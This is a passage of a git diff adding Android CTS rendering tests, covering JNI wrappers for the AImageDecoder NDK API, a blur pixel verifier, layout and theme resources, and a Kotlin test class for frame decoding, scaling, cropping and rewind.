+        { ANDROID_IMAGE_DECODER_UNSUPPORTED_FORMAT, "ANDROID_IMAGE_DECODER_UNSUPPORTED_FORMAT" },
+        { ANDROID_IMAGE_DECODER_FINISHED,           "ANDROID_IMAGE_DECODER_FINISHED" },
+        { ANDROID_IMAGE_DECODER_INVALID_STATE,      "ANDROID_IMAGE_DECODER_INVALID_STATE" },
+    };
+
+    for (const auto& item : map) {
+        const char* str = AImageDecoder_resultToString(item.resultCode);
+        ASSERT_EQ(0, strcmp(item.string, str));
+    }
+
+    for (int i : { ANDROID_IMAGE_DECODER_SUCCESS + 1,
+                   ANDROID_IMAGE_DECODER_INVALID_STATE - 1,
+                   2, 7, 37, 42 }) {
+        ASSERT_EQ(nullptr, AImageDecoder_resultToString(i));
+    }
+}
+
+static jlong openAsset(JNIEnv* env, jobject, jobject jAssets, jstring jFile) {
+    AAssetManager* nativeManager = AAssetManager_fromJava(env, jAssets);
+    const char* file = env->GetStringUTFChars(jFile, nullptr);
+    AAsset* asset = AAssetManager_open(nativeManager, file, AASSET_MODE_UNKNOWN);
+    if (!asset) {
+        fail(env, "Could not open %s", file);
+    } else {
+        ALOGD("Testing %s", file);
+    }
+    env->ReleaseStringUTFChars(jFile, file);
+    return reinterpret_cast<jlong>(asset);
+}
+
+static void closeAsset(JNIEnv*, jobject, jlong asset) {
+    AAsset_close(reinterpret_cast<AAsset*>(asset));
+}
+
+static jlong createFromAsset(JNIEnv* env, jobject, jlong asset) {
+    AImageDecoder* decoder = nullptr;
+    int result = AImageDecoder_createFromAAsset(reinterpret_cast<AAsset*>(asset), &decoder);
+    if (ANDROID_IMAGE_DECODER_SUCCESS != result || !decoder) {
+        fail(env, "Failed to create AImageDecoder with %s!",
+             AImageDecoder_resultToString(result));
+    }
+    return reinterpret_cast<jlong>(decoder);
+}
+
+static jint getWidth(JNIEnv*, jobject, jlong decoder) {
+    const auto* info = AImageDecoder_getHeaderInfo(reinterpret_cast<AImageDecoder*>(decoder));
+    return AImageDecoderHeaderInfo_getWidth(info);
+}
+
+static jint getHeight(JNIEnv*, jobject, jlong decoder) {
+    const auto* info = AImageDecoder_getHeaderInfo(reinterpret_cast<AImageDecoder*>(decoder));
+    return AImageDecoderHeaderInfo_getHeight(info);
+}
+
+static void deleteDecoder(JNIEnv*, jobject, jlong decoder) {
+    AImageDecoder_delete(reinterpret_cast<AImageDecoder*>(decoder));
+}
+
+static jint setTargetSize(JNIEnv*, jobject, jlong decoder_ptr, jint width, jint height) {
+    return AImageDecoder_setTargetSize(reinterpret_cast<AImageDecoder*>(decoder_ptr),
+                                       width, height);
+}
+
+static jint setCrop(JNIEnv*, jobject, jlong decoder_ptr, jint left, jint top,
+                    jint right, jint bottom) {
+    return AImageDecoder_setCrop(reinterpret_cast<AImageDecoder*>(decoder_ptr),
+                                 {left, top, right, bottom});
+}
+
+static void decode(JNIEnv* env, jobject, jlong decoder_ptr, jobject jBitmap, jint expected) {
+    auto* decoder = reinterpret_cast<AImageDecoder*>(decoder_ptr);
+    AndroidBitmapInfo info;
+    if (AndroidBitmap_getInfo(env, jBitmap, &info) != ANDROID_BITMAP_RESULT_SUCCESS) {
+        fail(env, "Failed to getInfo on a Bitmap!");
+        return;
+    }
+
+    void* pixels;
+    if (AndroidBitmap_lockPixels(env, jBitmap, &pixels) != ANDROID_BITMAP_RESULT_SUCCESS) {
+        fail(env, "Failed to lock pixels!");
+        return;
+    }
+
+    const int result = AImageDecoder_decodeImage(decoder, pixels, info.stride,
+                                                 info.stride * info.height);
+    if (result != expected) {
+        fail(env, "Unexpected result from AImageDecoder_decodeImage: %s",
+             AImageDecoder_resultToString(result));
+        // Don't return yet, so we can unlockPixels.
+    }
+
+    if (AndroidBitmap_unlockPixels(env, jBitmap) != ANDROID_BITMAP_RESULT_SUCCESS) {
+        const char* msg = "Failed to unlock pixels!";
+        if (env->ExceptionCheck()) {
+            // Do not attempt to throw an Exception while one is pending.
+            ALOGE("%s", msg);
+        } else {
+            fail(env, msg);
+        }
+    }
+}
+
+static jint advanceFrame(JNIEnv*, jobject, jlong decoder_ptr) {
+    auto* decoder = reinterpret_cast<AImageDecoder*>(decoder_ptr);
+    return AImageDecoder_advanceFrame(decoder);
+}
+
+static jint rewind_decoder(JNIEnv*, jobject, jlong decoder) {
+    return AImageDecoder_rewind(reinterpret_cast<AImageDecoder*>(decoder));
+}
+
+static jint setUnpremultipliedRequired(JNIEnv*, jobject, jlong decoder, jboolean required) {
+    return AImageDecoder_setUnpremultipliedRequired(reinterpret_cast<AImageDecoder*>(decoder),
+                                                    required);
+}
+
+static jint setAndroidBitmapFormat(JNIEnv*, jobject, jlong decoder, jint format) {
+    return AImageDecoder_setAndroidBitmapFormat(reinterpret_cast<AImageDecoder*>(decoder),
+                                                format);
+}
+
+static jint setDataSpace(JNIEnv*, jobject, jlong decoder, jint dataSpace) {
+    return AImageDecoder_setDataSpace(reinterpret_cast<AImageDecoder*>(decoder),
+                                      dataSpace);
+}
+
+static jlong createFrameInfo(JNIEnv*, jobject) {
+    return reinterpret_cast<jlong>(AImageDecoderFrameInfo_create());
+}
+
+static void deleteFrameInfo(JNIEnv*, jobject, jlong frameInfo) {
+    AImageDecoderFrameInfo_delete(reinterpret_cast<AImageDecoderFrameInfo*>(frameInfo));
+}
+
+static jint getFrameInfo(JNIEnv*, jobject, jlong decoder, jlong frameInfo) {
+    return AImageDecoder_getFrameInfo(reinterpret_cast<AImageDecoder*>(decoder),
+                                      reinterpret_cast<AImageDecoderFrameInfo*>(frameInfo));
+}
+
+static void testNullFrameInfo(JNIEnv* env, jobject, jobject jAssets, jstring jFile) {
+    AImageDecoderFrameInfo_delete(nullptr);
+
+#pragma clang diagnostic push
+#pragma clang diagnostic ignored "-Wnonnull"
+    {
+        auto* frameInfo = AImageDecoderFrameInfo_create();
+        ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, AImageDecoder_getFrameInfo(nullptr,
+                                                                                  frameInfo));
+        AImageDecoderFrameInfo_delete(frameInfo);
+    }
+    {
+        auto asset = openAsset(env, nullptr, jAssets, jFile);
+        auto decoder = createFromAsset(env, nullptr, asset);
+        AImageDecoderFrameInfo* info = nullptr;
+        ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, getFrameInfo(env, nullptr, decoder,
+                reinterpret_cast<jlong>(info)));
+
+        deleteDecoder(env, nullptr, decoder);
+        closeAsset(env, nullptr, asset);
+    }
+    {
+        ARect rect = AImageDecoderFrameInfo_getFrameRect(nullptr);
+        ASSERT_EQ(0, rect.left);
+        ASSERT_EQ(0, rect.top);
+        ASSERT_EQ(0, rect.right);
+        ASSERT_EQ(0, rect.bottom);
+    }
+
+    ASSERT_EQ(0, AImageDecoderFrameInfo_getDuration(nullptr));
+    ASSERT_FALSE(AImageDecoderFrameInfo_hasAlphaWithinBounds(nullptr));
+    ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, AImageDecoderFrameInfo_getDisposeOp(nullptr));
+    ASSERT_EQ(ANDROID_IMAGE_DECODER_BAD_PARAMETER, AImageDecoderFrameInfo_getBlendOp(nullptr));
+#pragma clang diagnostic pop
+}
+
+static jlong getDuration(JNIEnv*, jobject, jlong frameInfo) {
+    return AImageDecoderFrameInfo_getDuration(reinterpret_cast<AImageDecoderFrameInfo*>(frameInfo));
+}
+
+static void testGetFrameRect(JNIEnv* env, jobject, jlong jFrameInfo, jint expectedLeft,
+                             jint expectedTop, jint expectedRight, jint expectedBottom) {
+    auto* frameInfo = reinterpret_cast<AImageDecoderFrameInfo*>(jFrameInfo);
+    ARect rect = AImageDecoderFrameInfo_getFrameRect(frameInfo);
+    if (rect.left != expectedLeft || rect.top != expectedTop || rect.right != expectedRight
+        || rect.bottom != expectedBottom) {
+        fail(env, "Mismatched frame rect! Expected: %i %i %i %i Actual: %i %i %i %i", expectedLeft,
+             expectedTop, expectedRight, expectedBottom, rect.left, rect.top, rect.right,
+             rect.bottom);
+    }
+}
+
+static jboolean getFrameAlpha(JNIEnv*, jobject, jlong frameInfo) {
+    return AImageDecoderFrameInfo_hasAlphaWithinBounds(
+            reinterpret_cast<AImageDecoderFrameInfo*>(frameInfo));
+}
+
+static jboolean getAlpha(JNIEnv*, jobject, jlong decoder) {
+    const auto* info = AImageDecoder_getHeaderInfo(reinterpret_cast<AImageDecoder*>(decoder));
+    return AImageDecoderHeaderInfo_getAlphaFlags(info) != ANDROID_BITMAP_FLAGS_ALPHA_OPAQUE;
+}
+
+static jint getDisposeOp(JNIEnv*, jobject, jlong frameInfo) {
+    return AImageDecoderFrameInfo_getDisposeOp(
+            reinterpret_cast<AImageDecoderFrameInfo*>(frameInfo));
+}
+
+static jint getBlendOp(JNIEnv*, jobject, jlong frameInfo) {
+    return AImageDecoderFrameInfo_getBlendOp(
+            reinterpret_cast<AImageDecoderFrameInfo*>(frameInfo));
+}
+
+static jint getRepeatCount(JNIEnv*, jobject, jlong decoder) {
+    return AImageDecoder_getRepeatCount(reinterpret_cast<AImageDecoder*>(decoder));
+}
+
+static void setHandleDisposePrevious(JNIEnv*, jobject, jlong decoder, jboolean handle) {
+    AImageDecoder_setInternallyHandleDisposePrevious(reinterpret_cast<AImageDecoder*>(decoder),
+                                                     handle);
+}
+
+#define ASSET_MANAGER "Landroid/content/res/AssetManager;"
+#define STRING "Ljava/lang/String;"
+#define BITMAP "Landroid/graphics/Bitmap;"
+
+static JNINativeMethod gMethods[] = {
+    { "nTestNullDecoder", "()V", (void*) testNullDecoder },
+    { "nTestToString", "()V", (void*) testToString },
+    { "nOpenAsset", "(" ASSET_MANAGER STRING ")J", (void*) openAsset },
+    { "nCloseAsset", "(J)V", (void*) closeAsset },
+    { "nCreateFromAsset", "(J)J", (void*) createFromAsset },
+    { "nGetWidth", "(J)I", (void*) getWidth },
+    { "nGetHeight", "(J)I", (void*) getHeight },
+    { "nDeleteDecoder", "(J)V", (void*) deleteDecoder },
+    { "nSetTargetSize", "(JII)I", (void*) setTargetSize },
+    { "nSetCrop", "(JIIII)I", (void*) setCrop },
+    { "nDecode", "(J" BITMAP "I)V", (void*) decode },
+    { "nAdvanceFrame", "(J)I", (void*) advanceFrame },
+    { "nRewind", "(J)I", (void*) rewind_decoder },
+    { "nSetUnpremultipliedRequired", "(JZ)I", (void*) setUnpremultipliedRequired },
+    { "nSetAndroidBitmapFormat", "(JI)I", (void*) setAndroidBitmapFormat },
+    { "nSetDataSpace", "(JI)I", (void*) setDataSpace },
+    { "nCreateFrameInfo", "()J", (void*) createFrameInfo },
+    { "nDeleteFrameInfo", "(J)V", (void*) deleteFrameInfo },
+    { "nGetFrameInfo", "(JJ)I", (void*) getFrameInfo },
+    { "nTestNullFrameInfo", "(" ASSET_MANAGER STRING ")V", (void*) testNullFrameInfo },
+    { "nGetDuration", "(J)J", (void*) getDuration },
+    { "nTestGetFrameRect", "(JIIII)V", (void*) testGetFrameRect },
+    { "nGetFrameAlpha", "(J)Z", (void*) getFrameAlpha },
+    { "nGetAlpha", "(J)Z", (void*) getAlpha },
+    { "nGetDisposeOp", "(J)I", (void*) getDisposeOp },
+    { "nGetBlendOp", "(J)I", (void*) getBlendOp },
+    { "nGetRepeatCount", "(J)I", (void*) getRepeatCount },
+    { "nSetHandleDisposePrevious", "(JZ)V", (void*) setHandleDisposePrevious },
+};
+
+int register_android_uirendering_cts_AImageDecoderTest(JNIEnv* env) {
+    jclass clazz = env->FindClass("android/uirendering/cts/testclasses/AImageDecoderTest");
+    return env->RegisterNatives(clazz, gMethods,
+            sizeof(gMethods) / sizeof(JNINativeMethod));
+}
+
diff --git a/tests/tests/uirendering/res/drawable-nodpi/extrabold1.png b/tests/tests/uirendering/res/drawable-nodpi/extrabold1.png
new file mode 100644
index 0000000..c247451
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable-nodpi/extrabold1.png
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/extrabolditalic1.png b/tests/tests/uirendering/res/drawable-nodpi/extrabolditalic1.png
new file mode 100644
index 0000000..5900db2
--- /dev/null
+++ b/tests/tests/uirendering/res/drawable-nodpi/extrabolditalic1.png
Binary files differ
diff --git a/tests/tests/uirendering/res/drawable-nodpi/lightitalic1.png b/tests/tests/uirendering/res/drawable-nodpi/lightitalic1.png
index ee3a210..f623854 100644
--- a/tests/tests/uirendering/res/drawable-nodpi/lightitalic1.png
+++ b/tests/tests/uirendering/res/drawable-nodpi/lightitalic1.png
Binary files differ
diff --git a/tests/tests/uirendering/res/layout/stretch_edge_effect_view.xml b/tests/tests/uirendering/res/layout/stretch_edge_effect_view.xml
new file mode 100644
index 0000000..fe75628
--- /dev/null
+++ b/tests/tests/uirendering/res/layout/stretch_edge_effect_view.xml
@@ -0,0 +1,20 @@
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+            http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+  -->
+<view class="android.uirendering.cts.testclasses.EdgeEffectTests$CustomEdgeEffectView"
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:edgeEffectType="stretch"
+/>
diff --git a/tests/tests/uirendering/res/layout/webview_canvas_rrect_clip.xml b/tests/tests/uirendering/res/layout/webview_canvas_rrect_clip.xml
new file mode 100644
index 0000000..ff1e3a1
--- /dev/null
+++ b/tests/tests/uirendering/res/layout/webview_canvas_rrect_clip.xml
@@ -0,0 +1,19 @@
+<!-- Copyright 2020 The Android Open Source Project
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+            http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+  -->
+<android.uirendering.cts.testclasses.view.WebviewCanvasRRectClip
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/webview_canvas_rrect_clip"
+    android:layout_width="@dimen/test_width"
+    android:layout_height="@dimen/test_height"/>
\ No newline at end of file
diff --git a/tests/tests/uirendering/res/values/themes.xml b/tests/tests/uirendering/res/values/themes.xml
index e75376b..b4284d5 100644
--- a/tests/tests/uirendering/res/values/themes.xml
+++ b/tests/tests/uirendering/res/values/themes.xml
@@ -30,4 +30,7 @@
         <item name="android:forceDarkAllowed">true</item>
         <item name="android:isLightTheme">true</item>
     </style>
+    <style name="StretchEdgeEffect" parent="@android:style/Theme.Material.Light">
+        <item name="android:edgeEffectType">stretch</item>
+    </style>
 </resources>
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/BlurPixelVerifier.java b/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/BlurPixelVerifier.java
new file mode 100644
index 0000000..0f9f2d0
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/BlurPixelVerifier.java
@@ -0,0 +1,106 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.bitmapverifiers;
+
+import android.graphics.Color;
+
+public class BlurPixelVerifier extends BitmapVerifier {
+
+    private final int mDstColor;
+    private final int mSrcColor;
+
+    /**
+     * Create a BitmapVerifier that compares pixel values relative to the
+     * provided source and destination colors. Pixels closer to the center of
+     * the test bitmap are expected to match closer to the source color, while pixels
+     * on the exterior of the test bitmap are expected to match the destination
+     * color more closely
+     */
+    public BlurPixelVerifier(int srcColor, int dstColor) {
+        mSrcColor = srcColor;
+        mDstColor = dstColor;
+    }
+
+    @Override
+    public boolean verify(int[] bitmap, int offset, int stride, int width, int height) {
+
+        float dstRedChannel = Color.red(mDstColor);
+        float dstGreenChannel = Color.green(mDstColor);
+        float dstBlueChannel = Color.blue(mDstColor);
+
+        float srcRedChannel = Color.red(mSrcColor);
+        float srcGreenChannel = Color.green(mSrcColor);
+        float srcBlueChannel = Color.blue(mSrcColor);
+
+        // Calculate the largest rgb color difference between the source and destination
+        // colors
+        double maxDifference = Math.pow(srcRedChannel - dstRedChannel, 2.0f)
+                + Math.pow(srcGreenChannel - dstGreenChannel, 2.0f)
+                + Math.pow(srcBlueChannel - dstBlueChannel, 2.0f);
+
+        // Calculate the maximum distance between pixels to the center of the test image
+        double maxPixelDistance =
+                Math.sqrt(Math.pow(width / 2.0, 2.0) + Math.pow(height / 2.0, 2.0));
+
+        // Additional tolerance applied to comparisons
+        float threshold = .05f;
+        for (int x = 0; x < width; x++) {
+            for (int y = 0; y < height; y++) {
+                double pixelDistance = Math.sqrt(Math.pow(x - width / 2.0, 2.0)
+                        + Math.pow(y - height / 2.0, 2.0));
+                // Calculate the threshold of the destination color expected based on the
+                // pixels position relative to the center
+                double dstPercentage = pixelDistance / maxPixelDistance + threshold;
+
+                int pixelColor = bitmap[indexFromXAndY(x, y, stride, offset)];
+                double pixelRedChannel = Color.red(pixelColor);
+                double pixelGreenChannel = Color.green(pixelColor);
+                double pixelBlueChannel = Color.blue(pixelColor);
+                // Compare the RGB color distance between the current pixel and the destination
+                // color
+                double dstDistance = Math.sqrt(Math.pow(pixelRedChannel - dstRedChannel, 2.0)
+                        + Math.pow(pixelGreenChannel - dstGreenChannel, 2.0)
+                        + Math.pow(pixelBlueChannel - dstBlueChannel, 2.0));
+
+                // Compare the RGB color distance between the current pixel and the source
+                // color
+                double srcDistance = Math.sqrt(Math.pow(pixelRedChannel - srcRedChannel, 2.0)
+                        + Math.pow(pixelGreenChannel - srcGreenChannel, 2.0)
+                        + Math.pow(pixelBlueChannel - srcBlueChannel, 2.0));
+
+                // calculate the ratio between the destination color to the current pixel
+                // color relative to the maximum distance between source and destination colors
+                // If this value exceeds the threshold expected for the pixel distance from
+                // center then we are rendering an unexpected color
+                double dstFraction = dstDistance / maxDifference;
+                if (dstFraction > dstPercentage) {
+                    return false;
+                }
+
+                // similarly compute the ratio between the source color to the current pixel
+                // color relative to the maximum distance between source and destination colors
+                // If this value exceeds the threshold expected for the pixel distance from
+                // center then we are rendering an unexpected source color
+                double srcFraction = srcDistance / maxDifference;
+                if (srcFraction > dstPercentage) {
+                    return false;
+                }
+            }
+        }
+        return true;
+    }
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AImageDecoderTest.kt b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AImageDecoderTest.kt
new file mode 100644
index 0000000..8cd8cf7
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AImageDecoderTest.kt
@@ -0,0 +1,953 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.testclasses
+
+import androidx.test.InstrumentationRegistry
+
+import android.content.res.AssetManager
+import android.graphics.Bitmap
+import android.graphics.Color
+import android.graphics.ImageDecoder
+import android.graphics.Rect
+import android.uirendering.cts.bitmapcomparers.MSSIMComparer
+import android.uirendering.cts.bitmapverifiers.BitmapVerifier
+import android.uirendering.cts.bitmapverifiers.ColorVerifier
+import android.uirendering.cts.bitmapverifiers.GoldenImageVerifier
+import android.uirendering.cts.bitmapverifiers.RectVerifier
+import android.uirendering.cts.bitmapverifiers.RegionVerifier
+import junitparams.JUnitParamsRunner
+import junitparams.Parameters
+import org.junit.Test
+import org.junit.runner.RunWith
+import kotlin.test.assertEquals
+import kotlin.test.assertTrue
+import kotlin.test.fail
+
+@RunWith(JUnitParamsRunner::class)
+class AImageDecoderTest {
+    init {
+        System.loadLibrary("ctsuirendering_jni")
+    }
+
+    private val ANDROID_IMAGE_DECODER_SUCCESS = 0
+    private val ANDROID_IMAGE_DECODER_INVALID_CONVERSION = -3
+    private val ANDROID_IMAGE_DECODER_INVALID_SCALE = -4
+    private val ANDROID_IMAGE_DECODER_BAD_PARAMETER = -5
+    private val ANDROID_IMAGE_DECODER_FINISHED = -10
+    private val ANDROID_IMAGE_DECODER_INVALID_STATE = -11
+
+    private fun getAssets(): AssetManager {
+        return InstrumentationRegistry.getTargetContext().getAssets()
+    }
+
+    @Test
+    fun testNullDecoder() = nTestNullDecoder()
+
+    @Test
+    fun testToString() = nTestToString()
+
+    private enum class Crop {
+        Top,    // Crop a section of the image that contains the top
+        Left,   // Crop a section of the image that contains the left
+        None,
+    }
+
+    /**
+     * Helper class to decode a scaled, cropped image to compare to AImageDecoder.
+     *
+     * Includes properties for getting the right scale and crop values to use in
+     * AImageDecoder.
+     */
+    private inner class DecodeAndCropper constructor(
+        image: String,
+        scale: Float,
+        crop: Crop
+    ) {
+        val bitmap: Bitmap
+        var targetWidth: Int = 0
+            private set
+        var targetHeight: Int = 0
+            private set
+        val cropRect: Rect?
+
+        init {
+            val source = ImageDecoder.createSource(getAssets(), image)
+            val tmpBm = ImageDecoder.decodeBitmap(source) {
+                decoder, info, _ ->
+                    decoder.allocator = ImageDecoder.ALLOCATOR_SOFTWARE
+                    if (scale == 1.0f) {
+                        targetWidth = info.size.width
+                        targetHeight = info.size.height
+                    } else {
+                        targetWidth = (info.size.width * scale).toInt()
+                        targetHeight = (info.size.height * scale).toInt()
+                        decoder.setTargetSize(targetWidth, targetHeight)
+                    }
+            }
+            cropRect = when (crop) {
+                Crop.Top -> Rect((targetWidth / 3.0f).toInt(), 0,
+                        (targetWidth * 2 / 3.0f).toInt(),
+                        (targetHeight / 2.0f).toInt())
+                Crop.Left -> Rect(0, (targetHeight / 3.0f).toInt(),
+                        (targetWidth / 2.0f).toInt(),
+                        (targetHeight * 2 / 3.0f).toInt())
+                Crop.None -> null
+            }
+            if (cropRect == null) {
+                bitmap = tmpBm
+            } else {
+                // Crop using Bitmap, rather than ImageDecoder, because it uses
+                // the same code as AImageDecoder for cropping.
+                bitmap = Bitmap.createBitmap(tmpBm, cropRect.left, cropRect.top,
+                        cropRect.width(), cropRect.height())
+                if (bitmap !== tmpBm) {
+                    tmpBm.recycle()
+                }
+            }
+        }
+    }
+
+    // Create a Bitmap with the same size and colorspace as bitmap.
+    private fun makeEmptyBitmap(bitmap: Bitmap) = Bitmap.createBitmap(bitmap.width, bitmap.height,
+                bitmap.config, true, bitmap.colorSpace!!)
+
+    private fun setCrop(decoder: Long, rect: Rect): Int = with(rect) {
+        nSetCrop(decoder, left, top, right, bottom)
+    }
+
+    /**
+     * Test that all frames in the image look as expected.
+     *
+     * @param image Name of the animated image file.
+     * @param frameName Template for creating the name of the expected image
+     *                  file for the i'th frame.
+     * @param numFrames Total number of frames in the animated image.
+     * @param scaleFactor The factor by which to scale the image.
+     * @param crop The crop setting to use.
+     * @param mssimThreshold The minimum MSSIM value to accept as similar. Some
+     *                       images do not match exactly, but they've been
+     *                       manually verified to look the same.
+     */
+    private fun decodeAndCropFrames(
+        image: String,
+        frameName: String,
+        numFrames: Int,
+        scaleFactor: Float,
+        crop: Crop,
+        mssimThreshold: Double
+    ) {
+        val decodeAndCropper = DecodeAndCropper(image, scaleFactor, crop)
+        var expectedBm = decodeAndCropper.bitmap
+
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+        if (scaleFactor != 1.0f) {
+            with(decodeAndCropper) {
+                assertEquals(nSetTargetSize(decoder, targetWidth, targetHeight),
+                        ANDROID_IMAGE_DECODER_SUCCESS)
+            }
+        }
+        with(decodeAndCropper.cropRect) {
+            this?.let {
+                assertEquals(setCrop(decoder, this), ANDROID_IMAGE_DECODER_SUCCESS)
+            }
+        }
+
+        val testBm = makeEmptyBitmap(decodeAndCropper.bitmap)
+
+        var i = 0
+        while (true) {
+            nDecode(decoder, testBm, ANDROID_IMAGE_DECODER_SUCCESS)
+            val verifier = GoldenImageVerifier(expectedBm, MSSIMComparer(mssimThreshold))
+            assertTrue(verifier.verify(testBm), "$image has mismatch in frame $i")
+            expectedBm.recycle()
+
+            i++
+            when (val result = nAdvanceFrame(decoder)) {
+                ANDROID_IMAGE_DECODER_SUCCESS -> {
+                    assertTrue(i < numFrames, "Unexpected frame $i in $image")
+                    expectedBm = DecodeAndCropper(frameName.format(i), scaleFactor, crop).bitmap
+                }
+                ANDROID_IMAGE_DECODER_FINISHED -> {
+                    assertEquals(i, numFrames, "Expected $numFrames frames in $image; found $i")
+                    break
+                }
+                else -> fail("Unexpected error $result when advancing $image to frame $i")
+            }
+        }
+
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+    }
+
+    fun animationsAndFrames() = arrayOf(
+        arrayOf<Any>("animated.gif", "animated_%03d.gif", 4),
+        arrayOf<Any>("animated_webp.webp", "animated_%03d.gif", 4),
+        arrayOf<Any>("required_gif.gif", "required_%03d.png", 7),
+        arrayOf<Any>("required_webp.webp", "required_%03d.png", 7),
+        arrayOf<Any>("alphabetAnim.gif", "alphabetAnim_%03d.png", 13),
+        arrayOf<Any>("blendBG.webp", "blendBG_%03d.png", 7),
+        arrayOf<Any>("stoplight.webp", "stoplight_%03d.png", 3)
+    )
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeFrames(image: String, frameName: String, numFrames: Int) {
+        decodeAndCropFrames(image, frameName, numFrames, 1.0f, Crop.None, .955)
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeFramesScaleDown(image: String, frameName: String, numFrames: Int) {
+        decodeAndCropFrames(image, frameName, numFrames, .5f, Crop.None, .749)
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeFramesScaleDown2(image: String, frameName: String, numFrames: Int) {
+        decodeAndCropFrames(image, frameName, numFrames, .75f, Crop.None, .749)
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeFramesScaleUp(image: String, frameName: String, numFrames: Int) {
+        decodeAndCropFrames(image, frameName, numFrames, 2.0f, Crop.None, .875)
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeFramesAndCropTop(image: String, frameName: String, numFrames: Int) {
+        decodeAndCropFrames(image, frameName, numFrames, 1.0f, Crop.Top, .934)
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeFramesAndCropTopScaleDown(image: String, frameName: String, numFrames: Int) {
+        decodeAndCropFrames(image, frameName, numFrames, .5f, Crop.Top, .749)
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeFramesAndCropTopScaleDown2(image: String, frameName: String, numFrames: Int) {
+        decodeAndCropFrames(image, frameName, numFrames, .75f, Crop.Top, .749)
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeFramesAndCropTopScaleUp(image: String, frameName: String, numFrames: Int) {
+        decodeAndCropFrames(image, frameName, numFrames, 3.0f, Crop.Top, .908)
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeFramesAndCropLeft(image: String, frameName: String, numFrames: Int) {
+        decodeAndCropFrames(image, frameName, numFrames, 1.0f, Crop.Left, .924)
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeFramesAndCropLeftScaleDown(image: String, frameName: String, numFrames: Int) {
+        decodeAndCropFrames(image, frameName, numFrames, .5f, Crop.Left, .596)
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeFramesAndCropLeftScaleDown2(image: String, frameName: String, numFrames: Int) {
+        decodeAndCropFrames(image, frameName, numFrames, .75f, Crop.Left, .596)
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testDecodeFramesAndCropLeftScaleUp(image: String, frameName: String, numFrames: Int) {
+        decodeAndCropFrames(image, frameName, numFrames, 3.0f, Crop.Left, .894)
+    }
+
+    @Test
+    @Parameters(method = "animationsAndFrames")
+    fun testRewind(image: String, unused: String, numFrames: Int) {
+        val frame0 = with(ImageDecoder.createSource(getAssets(), image)) {
+            ImageDecoder.decodeBitmap(this) {
+                decoder, _, _ ->
+                    decoder.allocator = ImageDecoder.ALLOCATOR_SOFTWARE
+            }
+        }
+
+        // Regardless of the current frame, calling rewind and decoding should
+        // look like frame_0.
+        for (framesBeforeReset in 0 until numFrames) {
+            val asset = nOpenAsset(getAssets(), image)
+            val decoder = nCreateFromAsset(asset)
+            val testBm = makeEmptyBitmap(frame0)
+            for (i in 1..framesBeforeReset) {
+                nDecode(decoder, testBm, ANDROID_IMAGE_DECODER_SUCCESS)
+                assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nAdvanceFrame(decoder))
+            }
+
